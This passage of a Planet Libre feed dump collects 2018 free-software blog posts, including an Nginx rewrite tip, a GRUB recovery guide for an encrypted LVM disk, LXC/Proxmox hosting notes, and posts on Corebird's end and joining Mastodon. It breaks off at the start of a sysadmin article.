# articles

feed_id: https://francois.aichelbaum.com/2018/05/18/struggling-with
title: Francois Aichelbaum : Are you struggling with Nginx rewrite rules and $ ?
uri: Francois-Aichelbaum-Are-you-struggling-with-Nginx-rewrite-rules-and
url: https://francois.aichelbaum.com/2018/05/18/struggling-with
content:
<div startfrom="1">
<table><tr><td>
<pre>1
</pre>
</td>
<td>
<pre><code>        rewrite ^/that-s-my-original-uri/(with-my-folder)/(.*)$ /that-s-my-destination$$1/$2 last;</code></pre>
</td>
</tr></table></div>
<p>
See the <code><span>\\($1</code> ?</p> <p>Are you trying to use a <code>\\)</span></code> in the destination of your rewrite rule ? Then you may have try escaping it, and found out you can only do it via some LUA scripting you might not want or a third party plugin that you can’t use for X or Y reason. The constant result of this situation ?
</p>
<div startfrom="1">
<table><tr><td>
<pre>1
</pre>
</td>
<td>
<pre><code>nginx: [emerg] invalid variable name in /etc/nginx/sites-enabled/XXXXXXXX:YYY</code></pre>
</td>
</tr></table></div>
<p>
Ok so what’s next ? The idea would be to host the <code>$</code> inside a variable. Sadly, the <code>set</code> argument does not allow this and will reject you with the same error. The solution would be to use <code>geo</code> in your nginx.conf and replace use the key:
</p>
<div startfrom="1">
<table><tr><td>
<pre>1
2
3
</pre>
</td>
<td>
<pre><code>geo $dollar {
    default "$";
}</code></pre>
</td>
</tr></table></div>
<div startfrom="1">
<table><tr><td>
<pre>1
</pre>
</td>
<td>
<pre><code>        rewrite ^/that-s-my-original-uri/(with-my-folder)/(.*)$ /that-s-my-destination$dollar$1/$2 last;</code></pre>
</td>
</tr></table></div>
<p>
And, <em>voila</em> !
</p>
<p><img src="media/fa8a9a5c.d3aee8c1dcab31df72e021766230892b" data-original-source="http://cdn.libravatar.org/avatar/d3aee8c1dcab31df72e021766230892b" alt="Gravatar de Francois Aichelbaum" class="gravatar" /><br/><i>Original post of <a href="https://francois.aichelbaum.com/2018/05/18/struggling-with" title="Visit the source">Francois Aichelbaum</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://www.gnomelibre.fr/2018/05/sortie-de-dash-to-panel-14/
title: Okki : Sortie de Dash to Panel 14
uri: Okki-Sortie-de-Dash-to-Panel-14
url: https://www.gnomelibre.fr/2018/05/sortie-de-dash-to-panel-14/
content:
<figure><a href="media/9803838e.Dash_to_Panel_14.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/05/Dash_to_Panel_14.png"><img src="media/c4ea1245.Dash_to_Panel_14-1024x576.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/05/Dash_to_Panel_14-1024x576.png" alt="" width="660" height="371" srcset="https://www.gnomelibre.fr/wp-content/uploads/2018/05/Dash_to_Panel_14-1024x576.png 1024w, https://www.gnomelibre.fr/wp-content/uploads/2018/05/Dash_to_Panel_14-300x169.png 300w, https://www.gnomelibre.fr/wp-content/uploads/2018/05/Dash_to_Panel_14-768x432.png 768w" sizes="(max-width: 660px) 100vw, 660px"></a><figcaption>Dash to Panel 14</figcaption></figure><p>Pour rappel, <a href="https://extensions.gnome.org/extension/1160/dash-to-panel/">cette extension</a> permet de remplacer le dock de la vue d’ensemble des activités et la barre supérieure par un panneau équivalent à la barre des tâches sous Windows.</p>
<p>De nombreuses options sont proposées, permettant de choisir l’emplacement du panneau (en bas ou en haut de l’écran), la taille du panneau et des icônes, le choix des indicateurs pour distinguer les applications actives, la position de l’horloge et de la barre des tâches, la possibilité d’afficher ou non les applications favorites, l’ajout d’un bouton pour afficher le bureau ou encore, un aperçu des fenêtres lors du survol des icônes…</p>
<p>Pour en revenir à cette nouvelle version, cette dernière apporte plusieurs options attendues de longue date, à commencer par la possibilité de masquer intelligemment le panneau, en laissant à l’utilisateur la possibilité de configurer finement le comportement :</p>
<ul><li>ne cacher le panneau que lorsqu’il est au-dessus d’une fenêtre</li>
<li>requiert une pression sur le bord de l’écran pour afficher le panneau</li>
<li>permettre au panneau d’être affiché en mode plein écran</li>
</ul><p>Tout en permettant de modifier les durées (en ms) des animations d’affichage ou le délai avant le masquage du panneau.</p>
<p>Autres nouveautés, la possibilité de modifier la taille des aperçus des fenêtres lors du survol, de modifier l’icône du menu Applications ou d’ajuster la marge intérieure de l’icône d’application. Sans oublier quelques améliorations, telle qu’une meilleure prise en charge du HiDPI, une meilleure gestion de la transparence dynamique du panneau ou des écrans tactiles.</p>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/05/sortie-de-dash-to-panel-14/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Okki : <a href="">Sortie du script GNOME Layout Manager</a> (28/04/2017)</li></ul></div></p>


feed_id: https://www.cypouz.com/article/180518/restaurer-grub-avec-une-partition-chiffree-separee
title: Cyprien Pouzenc : Restaurer GRUB avec une partition chiffrée séparée
uri: Cyprien-Pouzenc-Restaurer-GRUB-avec-une-partition-chiffrée-séparé
url: https://www.cypouz.com/article/180518/restaurer-grub-avec-une-partition-chiffree-separee
content:
<p><a href="https://www.cypouz.com/article/180518/restaurer-grub-avec-une-partition-chiffree-separee"><img typeof="foaf:Image" src="https://www.cypouz.com/sites/default/files/styles/medium/public/article/logos_grub.png?itok=6mt1C0_v" width="200" height="133" alt="Logos de GRUB (© Karol Krenski)" title="Logos de GRUB (© Karol Krenski)"></a></p>


<p>Lorsque l'ordinateur ne peut plus démarrer à cause d'un <a href="https://fr.wikipedia.org/wiki/Chargeur_d%27amor%C3%A7age">chargeur d'amorçage</a> cassé, il suffit de réparer le-dit chargeur d'amorçage — en l'occurence <a href="https://fr.wikipedia.org/wiki/GRand_Unified_Bootloader">GRUB</a>, dans le cas qui nous intéresse ici. Classiquement, cela implique de démarrer l'ordinateur sur le <a href="https://fr.wikipedia.org/wiki/Live_CD">Live CD</a> de sa distribution GNU/Linux favorite, de taper quelques commandes dans le terminal, puis de redémarrer. Cela se complique un poil lorsque le système est installé sur plusieurs partitions, potentiellement chiffrées. Voici un petit article bloc-note, pour savoir quoi faire quand la situation se présentera à nouveau sous les orteils de mes mains.</p>

<div>
	<figure><img alt="Logos de GRUB (© Karol Krenski)" height="210" src="https://www.cypouz.com/sites/default/files/styles/photo/public/article/logos_grub.png?itok=IJQyGDCA" title="Logos de GRUB (© Karol Krenski)" width="315"><figcaption>Logos de GRUB (© Karol Krenski)</figcaption></figure></div>

<h2>Démêlons les fils, LVM2 et LUKS</h2>

<p>Je démarre donc l'ordinateur sur un Live CD de <a href="https://www.debian.org/">Debian GNU/Linux</a>. Une fois passées les quelques étapes cosmétiques — à savoir la sélection d'une disposition de clavier française et l'installation des pilotes non-libres de la carte wifi pour avoir une connexion Internet — je peux m'attaquer au vif du sujet.</p>

<p>Dans ce cas précis, le disque dur contient trois partitions : <span>/dev/sda1</span> pour <span>/boot/efi</span>, <span>/dev/sda2</span> pour <span>/boot</span> et <span>/dev/sda3</span> comme groupe de volumes logiques <a href="https://fr.wikipedia.org/wiki/Gestion_par_volumes_logiques">LVM2</a>, chiffré avec <a href="https://fr.wikipedia.org/wiki/LUKS">LUKS</a> — et qui contient, notamment, la partition racine. Afin de gérer LVM2 et LUKS, il faut commencer par installer les paquets nécessaires sur le système autonome du Live CD. Les étapes à suivre sont énoncées ci-dessous.</p>

<p>Se connecter en tant que super-utilisateur :</p>

<pre>su -</pre>

<p>Mettre à jour la liste des paquets :</p>

<pre>apt update</pre>

<p>Installer les paquets <span>lvm2</span> et <span>cryptsetup</span> :</p>

<pre>apt install lvm2 cryptsetup</pre>

<p>Charger le module noyau <span>dm-crypt</span> utile au chiffrement des volumes :</p>

<pre>modprobe dm-crypt</pre>

<p>Déverrouiller et charger la partition chiffrée :</p>

<pre>cryptsetup luksOpen /dev/sda3 luks_sda3</pre>

<p>Il est maintenant possible de trouver les groupes de volumes LVM2 présents :</p>

<pre>vgscan</pre>

<p>Lequel nous répond :</p>

<pre>Found volume group "portable-vg" using metadata type lvm2</pre>

<p>J'active donc le groupe indiqué, afin de pouvoir accéder aux volumes qu'il contient :</p>

<pre>vgchange -a y portable-vg</pre>

<p>Pour trouver les-dits volumes :</p>

<pre>lvscan</pre>

<p>Qui nous répond à son tour :</p>

<pre>ACTIVE            '/dev/portable-vg/root' [107,12 GiB] inherit
ACTIVE            '/dev/portable-vg/swap_1' [3,93 GiB] inherit</pre>

<p>Le groupe contient donc deux volumes, à savoir la racine du système et une partition d'échange — qui est passablement inutile dans le cadre de cet article. Information intéressante s'il en est, le volume de la racine est accessible sur <span>/dev/portable-vg/root</span>.</p>

<h2>Sus au chroot !</h2>

<p>Il est maintenant possible de procéder à la restauration — désormais classique — de GRUB. Cela commence par la création d'un point de montage :</p>

<pre>mkdir /mnt/chroot</pre>

<p>Sur lequel monter le volume de la racine :</p>

<pre>mount /dev/portable-vg/root /mnt/chroot/</pre>

<p>Ainsi que quelques partitions spéciales du disque autonome :</p>

<pre>mount --bind /dev /mnt/chroot/dev
mount -t proc /proc /mnt/chroot/proc
mount -t sysfs /sys /mnt/chroot/sys</pre>

<p>Enfin, plongeons la tête dans le <a href="https://fr.wikipedia.org/wiki/Chroot">chroot</a> :</p>

<pre>chroot /mnt/chroot</pre>

<p>Désormais, attention les doigts, toute opération prendra effet sur le disque à récupérer, non-plus sur le système autonome du Live CD. Finie la rigolade. À noter que les partitions <span>/dev/sda1</span> et <span>/dev/sda2</span> n'ont pas été montées précédemment. Si cela avait été le cas, le système chrooté aurait eu l'impression qu'il s'agissait d'une seule et unique partition, ce qui n'est évidemment ici pas l'ombre du reflet de la réalité. Et cela aurait posé problème lors de la configuration de GRUB. Ce n'est que maintenant, une fois entré dans le chroot, qu'il faut monter ces partitions :</p>

<pre>mount /dev/sda2 /boot
mount /dev/sda1 /boot/efi</pre>

<p>Pour enfin, objectif ultime, réparer ce foutu GRUB :</p>

<pre>update-grub
grub-install /dev/sda</pre>

<p>Pour terminer proprement le travail avant de quitter l'usine, on sort du chroot et on démonte toutes les partitions :</p>

<pre>exit
umount /mnt/chroot/boot/efi
umount /mnt/chroot/boot
umount /mnt/chroot/dev
umount /mnt/chroot/proc
umount /mnt/chroot/sys
umount /mnt/chroot</pre>

<p>Puis on redémarre l'ordinateur en croisant les narines :</p>

<pre>reboot</pre>

<p><em>Article sous licence <a href="https://creativecommons.org/licenses/by-sa/3.0/fr/">Creative Commons BY-SA 3.0 France</a>.</em></p>
<p><img src="media/674deadd.c9ce61d8f23444d5de73ae2ed346c61d" data-original-source="http://cdn.libravatar.org/avatar/c9ce61d8f23444d5de73ae2ed346c61d" alt="Gravatar de Cyprien Pouzenc" class="gravatar" /><br/><i>Original post of <a href="https://www.cypouz.com/article/180518/restaurer-grub-avec-une-partition-chiffree-separee" title="Visit the source">Cyprien Pouzenc</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://blogduyax.madyanne.fr/2018/hebergement-containers/
title: Yannic Arnoux : Hébergement et taille de containers
uri: Yannic-Arnoux-Hébergement-et-taille-de-containers
url: https://blogduyax.madyanne.fr/2018/hebergement-containers/
content:
<p>Dans le prolongement de mon article <a href="https://blogduyax.madyanne.fr/2018/quel-systeme-serveur">“Choix du système pour s’auto-héberger”</a>, je peux faire un bilan des 6 mois écoulés avec mon hébergement à base de containers LXC avec la distribution <a href="https://fr.wikipedia.org/wiki/Proxmox_VE">Proxmox</a>.</p>

<h1>Commençons par les avantages</h1>

<p>Le passage d’une installation monolithique à une installation containerisée avec des services répartis dans une dizaine de containers donne la flexibilité de choisir le meilleur outil pour chaque tâche :</p>

<ul><li>les micro-services Python se contentent de containers Alpine ultra-légers (64 Mo de RAM).</li>
<li>le service Nextcloud a migré d’un container Alpine à un container ArchLinux. Je n’aurais jamais pensé utiliser Arch sur un serveur mais c’est une bonne solution pour garantir une version stable et toujours à jours en terme de sécurité de Nextcloud.</li>
<li><a href="https://blogduyax.madyanne.fr/2018/mes-notes-sur-rabbitmq">le middleware RabbitMQ</a> est installé sur sa distribution de prédilection <strong>CentOS</strong> dans un container dédié.</li>
</ul><p>La modularité facilite l’administration du serveur : on a besoin d’un nouveau service, on rajoute un container et on limite les risques de <em>casser quelque chose</em> sur l’installation existante.</p>

<p>L’interface Web d’administration de Proxmox est de qualité. Au delà de la gestion des machines virtuelles KVM et des containers LXC, elle donne une vision des ressources CPU /Mémoire consommées par container et au niveau physique.</p>

<p><img src="media/ebb11513.proxmox-dashboard.png" data-original-source="https://blogduyax.madyanne.fr/images/2018/proxmox-dashboard.png" alt="Tableau de bord Proxmox"></p>

<h1>Ce qui n’est pas parfait</h1>

<p>J’ai un service Nextloud, aisé à gérer dans un seul container avec l’application, les données et la base de donnée. Pour sauvegarder, c’est moins drôle, cela revient à sauvegarder le container de bientôt 100 Go avec Proxmox et la balancer sur l’espace FTP de 100 Go offert par Online. Autre option, sauvegarder les données du calendrier et les contacts <a href="https://blogduyax.madyanne.fr/2015/deploiement-et-sauvegarde/">avec des scripts <em>maison</em></a> et mettre en place une sauvegarde classique vers un disque externe des fichiers synchronisés sur mon ordinateur portable. C’est vers cette solution que je m’oriente.</p>

<p>La nuée de services développés par bibi autour du blog (SRMail, Stacosys) serait parfaite pour Docker. Aujourd’hui c’est installé dans des containers LXC, avec des partages de répertoires entre le hôte et les containers pour externaliser la configuration et les données. Docker permettrait de standardiser cet assemblage et d’en profiter à la maison pour facilement remonter un environnement de test.</p>

<p>C’est vraiment le point négatif : j’ai des relations troubles entre la machine hôte et les containers. J’ai installé un serveur NginX sur Proxmox qui fait du proxy vers les NginX des différents containers en fonction du service demandé. J’ai partagé des répertoires entre le hôte et les containers pour externaliser les parties sensibles (la configuration et les données) et faciliter leur sauvegarde puis la machine hôte. Je gère les certificats Let’s Encrypt au niveau du hôte aussi. Bref j’ai une installation <em>custom</em> de Proxmox avec des containers mais aussi plein de trucs installés au niveau de l’hyperviseur.</p>

<h1>Conclusion</h1>

<p>Ca fonctionne bien mais si j’ai un souci (mise à jour de Proxmox qui casse quelque chose, panne du serveur), je risque de passer des jours à tout remettre en service car j’ai tout installé à la mano. L’idée de tout reprendre à zéro en passant plus de temps pour tout containeriser refait surface. L’idéal pour moi serait de tout exécuter dans des containers et d’avoir une seule arborescence de fichiers à sauvegarder. J’avais tâté un peu Docker et je sais que ça prend pas mal de temps de repenser en containers, de choisir les bonnes images de base… Autre bémol, miser sur une seule entreprise ne m’emballe pas, malgré les efforts de l’<a href="https://blog.docker.com/2017/07/demystifying-open-container-initiative-oci-specifications">Open Container Initiative</a> pour standardiser partiellement la technologie.</p>

<p>Donc j’étudie les options :</p>

<ul><li>un provisioning avec Ansible d’un container LXC générique</li>
<li>l’ajout de Docker à Proxmox pour rajouter Docker au panel KVM / LXC: dockeriser c’est long, donc garder Proxmox permettrait de répondre rapidement à un besoin avec un container LXC, quitte à dockeriser ensuite le service dans un 2ème temps…</li>
</ul><p>Si vous avez des suggestions je suis carrément preneur :-)</p>
<p><img src="media/79716ccf.308a3596152a79231f3feedc49afa4ef" data-original-source="http://cdn.libravatar.org/avatar/308a3596152a79231f3feedc49afa4ef" alt="Gravatar de Yannic Arnoux" class="gravatar" /><br/><i>Original post of <a href="https://blogduyax.madyanne.fr/2018/hebergement-containers/" title="Visit the source">Yannic Arnoux</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


title: Journal du hacker : Liens intéressants Journal du hacker semaine #20
uri: 2018-05-21-Journal-du-hacker-Liens-intéressants-Journal-du-hacker-semaine-20
feed_id:
https://blog.journalduhacker.net/index.php?article162/liens-interessants-journal-du-hacker-semaine-20-2018

url:
https://blog.journalduhacker.net/index.php?article162/liens-interessants-journal-du-hacker-semaine-20-2018

content:
<p>Pour la 20ème semaine de l'année 2018, voici <strong>10 liens</strong> intéressants que vous avez peut-être ratés, relayés par <a href="https://www.journalduhacker.net/">le Journal du hacker</a>, votre source d’informations pour le Logiciel Libre francophone !</p>

<a href="https://www.journalduhacker.net/"><img src="media/01f45034.logo-journal-du-hacker.png" data-original-source="https://blog.journalduhacker.net/data/medias/logo-journal-du-hacker.png"></a>

<ul><li><a href="https://www.journalduhacker.net/s/k9yfxi/les_maux_des_gafam">Les maux des GAFAM</a></li>
<li><a href="https://www.journalduhacker.net/s/pjrc5s/tilde_town_le_village_enfoui">Tilde.town, le village enfoui</a></li>
<li><a href="https://www.journalduhacker.net/s/rhxvfv/d_cryptage_defail_la_nouvelle_br_che_dont">Décryptage d'EFAIL, la nouvelle brèche dont tout le monde parle</a></li>
<li><a href="https://www.journalduhacker.net/s/vb6ykx/la_musique_creative_commons_diffus_e_dans">La musique Creative Commons diffusée dans les magasins est bien soumise à rémunération équitable</a></li>
<li><a href="https://www.journalduhacker.net/s/a7vqme/autour_de_ssh">Autour de SSH</a></li>
<li><a href="https://www.journalduhacker.net/s/4k2vxw/nos_institutions_respectent_elles_les">Nos institutions respectent-elles les lois en vigueur actuelles sur les données personnelles ?</a></li>
<li><a href="https://www.journalduhacker.net/s/gnpatn/la_mutation_rapide_dexodus_privacy_en">La mutation rapide d'Exodus Privacy, en lutte contre les trackers sous Android</a></li>
<li><a href="https://www.journalduhacker.net/s/q2a65q/rgpd_je_te_prends_je_te_retourne">RGPD, je te prends, je te retourne, …</a></li>
<li><a href="https://www.journalduhacker.net/s/utqi2e/les_coles_ding_nieurs_et_le_web">Les écoles d'ingénieurs et le web...</a></li>
<li><a href="https://www.journalduhacker.net/s/lonchy/firefox_60_et_60_esr">Firefox 60 et 60 ESR</a></li>
</ul><p>Pour ne plus rater aucun article de la communauté francophone, voici :</p>

<ul><li><a href="https://www.journalduhacker.net/rss">Le flux RSS du Journal du hacker</a></li>
<li><a href="https://twitter.com/journalduhacker">Le compte Twitter du Journal du hacker</a></li>
<li><a href="https://framasphere.org/u/journalduhacker">Le compte Diaspora* du Journal du hacker</a></li>
<li><a href="https://framapiaf.org/@journalduhacker">Le compte Mastodon du Journal du hacker</a></li>
</ul><p>De plus le site web du Journal du hacker est « adaptatif (responsive) ». N’hésitez pas à le consulter depuis votre smartphone ou votre tablette !</p>

<p>Le Journal du hacker fonctionne de manière collaborative, grâce à la participation de ses membres. <a href="https://www.journalduhacker.net/invitations/request">Rejoignez-nous</a> pour proposer vos contenus à partager avec la communauté du Logiciel Libre francophone et faire connaître vos projets !</p>

<p><strong>Et vous ? Qu’avez-vous pensé de ces articles ?</strong> N’hésitez pas à réagir directement dans les commentaires de l’article sur le Journal du hacker ou bien dans les commentaires de ce billet :)</p>
<p><img src="media/ffe97a17.7916ee3cafa0bc3e9583bedad876dcd5" data-original-source="http://cdn.libravatar.org/avatar/7916ee3cafa0bc3e9583bedad876dcd5" alt="Gravatar de Journal du hacker" class="gravatar" /><br/><i>Original post of <a href="https://blog.journalduhacker.net/index.php?article162/liens-interessants-journal-du-hacker-semaine-20-2018" title="Visit the source">Journal du hacker</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #20</a> (23/05/2016)</li><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #20</a> (22/05/2017)</li></ul></div></p>


feed_id: https://www.gnomelibre.fr/2018/05/mort-annoncee-du-client-twitter-corebird/
title: Okki : Mort annoncée du client Twitter Corebird
uri: Okki-Mort-annoncée-du-client-Twitter-Corebird
url: https://www.gnomelibre.fr/2018/05/mort-annoncee-du-client-twitter-corebird/
content:
<p><a href="media/95190b60.dead_twitter_logo.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/05/dead_twitter_logo.png"><img src="media/3622b759.dead_twitter_logo-300x300.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/05/dead_twitter_logo-300x300.png" alt="" width="300" height="300" srcset="https://www.gnomelibre.fr/wp-content/uploads/2018/05/dead_twitter_logo-300x300.png 300w, https://www.gnomelibre.fr/wp-content/uploads/2018/05/dead_twitter_logo-150x150.png 150w, https://www.gnomelibre.fr/wp-content/uploads/2018/05/dead_twitter_logo.png 700w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p>Depuis plusieurs années, <a href="https://fr.wikipedia.org/wiki/Twitter">Twitter</a> tente de faire disparaître les clients tiers pour contraindre les utilisateurs de passer par le site web ou d’utiliser le client officiel. Même si l’entreprise se refuse à en donner la raison, il y a fort à parier que ce soit bien plus simple et efficace pour récolter les données personnelles de leurs utilisateurs (pour pouvoir les revendre) ou de garantir l’affichage de la publicité.</p>
<p>Récemment, Twitter est allé encore plus loin, en annonçant la suppression à venir de certaines <a href="https://fr.wikipedia.org/wiki/Interface_de_programmation">API</a> vitales pour les clients tiers, telle que la mise à jour des flux en temps réel.</p>
<blockquote data-width="550" data-dnt="true">
<p lang="en" dir="ltr">Last year we announced our plan to retire Site Streams &amp; User Streams, and replace them with the Account Activity API (currently in beta). We are delaying the scheduled June 19th deprecation date.</p>
<p>— Twitter Dev (@TwitterDev) <a href="https://twitter.com/TwitterDev/status/982346370882461696?ref_src=twsrc%5Etfw">April 6, 2018</a></p></blockquote>
<p></p>
<p>Twitter a bien prévu une API de remplacement (<a href="https://developer.twitter.com/en/products/accounts-and-users/account-activity-api.html">Account Activity</a>), mais cette dernière ne serait gratuite que pour une utilisation limitée à seulement 15 comptes. Impensable pour des clients qui ont parfois plusieurs centaines de milliers d’utilisateurs. Au-delà, l’accès à l’API sera commercialisé à 2899 dollars par mois par tranche de 250 utilisateurs. Pour que ce soit rentable, il faudrait que les applications soient commercialisées sous forme d’abonnement mensuel à 16 dollars. Inconcevable pour les applications qui auraient fait le choix d’une licence libre.</p>
<p>Les développeurs de plusieurs applications (Talon, Tweetbot, Tweetings, Twitterrific…) se sont associés en lançant le site web <a href="http://apps-of-a-feather.com/">Apps of a Feather</a> pour prévenir leurs utilisateurs et tenter de faire pression sur Twitter. Mais comme l’indiquait à <a href="https://www.nextinpact.com/news/106563-le-crepuscule-applications-tierces-pour-twitter.htm">Next INpact</a> Ludovic Vialle, le créateur du client Plume, « <em>Je sais que Twitter ne cédera pas, ce n’est pas dans leur intérêt, et cela concerne peu d’utilisateurs. Le public peut se passer de son application préférée, mais difficilement de Twitter</em> ».</p>
<p>Pour en revenir à <a href="https://corebird.baedert.org/">Corebird</a>, son développeur, Timm Bäder, annonce sur <a href="https://www.patreon.com/posts/corebirds-future-18921328">sa page Patreon</a> que l’application n’a aucun futur. Il ne pourra jamais payer pour l’accès à l’API, et Corebird étant profondément lié aux API Twitter, d’implémenter la prise en charge d’un autre réseau (tel que <a href="https://fr.wikipedia.org/wiki/Mastodon_(r%C3%A9seau_social)">Mastodon</a>), demanderait beaucoup trop de travail. Et n’étant plus étudiant, il n’est pas certain d’avoir le temps de s’en occuper. Il est donc fort probable que Corebird cesse de fonctionner à la mi-août, date annoncée par Twitter pour la suppression des API.</p>
<p>Encore une occasion de rappeler l’importance du libre, et ce, à tous les niveaux. Aussi bien logiciel que pour les services en ligne et leurs API. Dépendre d’un tiers non libre est une épée de Damoclès sur les développeurs, qui peuvent se voir résilier l’accès à tout moment.</p>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/05/mort-annoncee-du-client-twitter-corebird/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Quack1 : <a href="">Le client Twitter Corebird (clone de Tweetbot) disponible sur Ubuntu</a> (30/10/2014)</li><li>Angristan : <a href="">Corebird : Un client Twitter pour GNU/Linux</a> (04/02/2015)</li><li>Okki : <a href="">Sortie de Corebird 1.0</a> (28/03/2015)</li><li>Okki : <a href="">Sortie de Corebird 1.5</a> (10/05/2017)</li></ul></div></p>


feed_id: https://www.gnomelibre.fr/2018/05/creation-dun-compte-mastodon/
title: Okki : Création d’un compte Mastodon
uri: Okki-Création-d-un-compte-Mastodon
url: https://www.gnomelibre.fr/2018/05/creation-dun-compte-mastodon/
content:
<p><a href="media/6c2d56d3.mastodon_twitter.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/05/mastodon_twitter.png"><img src="media/6c2d56d3.mastodon_twitter.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/05/mastodon_twitter.png" alt="" width="950" height="534" srcset="https://www.gnomelibre.fr/wp-content/uploads/2018/05/mastodon_twitter.png 950w, https://www.gnomelibre.fr/wp-content/uploads/2018/05/mastodon_twitter-300x169.png 300w, https://www.gnomelibre.fr/wp-content/uploads/2018/05/mastodon_twitter-768x432.png 768w" sizes="(max-width: 950px) 100vw, 950px"></a><br>
Pour ceux qui n’en auraient encore jamais entendu parler, <a href="https://fr.wikipedia.org/wiki/Mastodon_(r%C3%A9seau_social)">Mastodon</a> est un logiciel libre de microblogage, et un réseau social décentralisé. Si ça ne vous parle toujours pas, disons que pour l’utilisateur final, c’est le même principe que <a href="https://fr.wikipedia.org/wiki/Twitter">Twitter</a>, la liberté et le respect de l’utilisateur en plus <img src="media/f0105b2f.1f601.png" data-original-source="https://s.w.org/images/core/emoji/2.4/72x72/1f601.png" alt="😁"></p>
<p>Chacun est libre de créer sa propre instance et de fixer ses propres règles, ou d’en rejoindre une déjà existante, comme celles de <a href="https://mamot.fr/">La Quadrature du Net</a>, de <a href="https://framapiaf.org/">Framasoft</a>, ou parmi la <a href="https://instances.social/">centaine d’autres</a>.</p>
<p>Je ne vais pas réexpliquer le principe de Mastodon, Next INpact et Numerama ayant déjà écrit de nombreux articles sur le sujet :</p>
<ul><li><a href="https://www.nextinpact.com/news/103937-mastodon-reseau-social-libre-et-decentralise-pret-a-voler-dans-plumes-twitter.htm">Mastodon, le réseau social libre et décentralisé prêt à voler dans les plumes de Twitter</a></li>
<li><a href="https://www.nextinpact.com/news/103953-mastodon-mais-en-fait-comment-ca-marche.htm">Mastodon : mais en fait, comment ça marche ?</a></li>
<li><a href="https://www.numerama.com/tech/246010-decouvrez-mastodon-un-clone-de-twitter-libre-open-source-et-decentralise.html">Découvrez Mastodon, un clone de Twitter libre, open source et décentralisé</a></li>
<li><a href="https://www.numerama.com/tech/246367-ce-que-mastodon-nous-dit-de-twitter.html">Ce que Mastodon nous dit de Twitter</a></li>
<li><a href="https://www.numerama.com/tech/246684-debuter-sur-mastodon-9-questions-pour-tout-comprendre-au-reseau-social-decentralise.html">Débuter sur Mastodon : 9 questions pour tout comprendre au réseau social décentralisé</a></li>
</ul><p>Donc voilà, je me crée un compte sur l’instance gérée par La Quadrature du Net, puis celle-ci de me prévenir qu’il faut que j’indique l’adresse <a href="https://mamot.fr/@gnomelibre">@gnomelibre@mamot.fr</a> à mes amis pour qu’ils puissent m’envoyer un message ou me suivre à partir d’une autre instance.</p>
<p>Je configure rapidement mon compte et m’empresse de balancer mon <a href="https://mamot.fr/@gnomelibre/100069536021979266">premier « pouet »</a> (l’équivalent local d’un tweet) sur la mort annoncée des clients libres pour Twitter (on notera d’ailleurs que WordPress ne sait toujours pas inclure les pouets correctement dans un article, affichant énormément d’espace entre le pouet et le reste de l’article).</p>
<p>Et maintenant, c’est le drame. N’étant pas présent sur Twitter (j’avais créé un compte il y a longtemps pour pouvoir illustrer un article sur Corebird, mais ce n’était guère allé plus loin), on ne peut pas dire que je sois particulièrement à l’aise avec le microblogage (je suis resté bloqué sur IRC :)</p>
<p>Je cherche donc à suivre le compte de certains projets, mais je me rends vite compte que GNOME, KDE, Fedora, la Linux Foundation et tant d’autres sont bien présents sur les réseaux sociaux, mais uniquement les propriétaires : Facebook, G+ et Twitter en tête. Et il en va de même des principaux développeurs de logiciels libres, qui semblent se limiter à G+ ou Twitter.</p>
<p>Je me retrouve donc désespérément seul sur mon tout premier réseau social, sans le moindre projet à suivre et sans savoir comment le reste du monde pourrait bien entendre mes pouets <img src="media/08446b8d.1f631.png" data-original-source="https://s.w.org/images/core/emoji/2.4/72x72/1f631.png" alt="😱"></p>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/05/creation-dun-compte-mastodon/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1
title: genma : Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1
uri: genma-Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-n-1
url: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1
content:
<img alt="" src="https://blog.genma.fr/IMG/arton2753.jpg?1526919094" width="150" height="79"><div><p>Ce billet fait partie de la série :
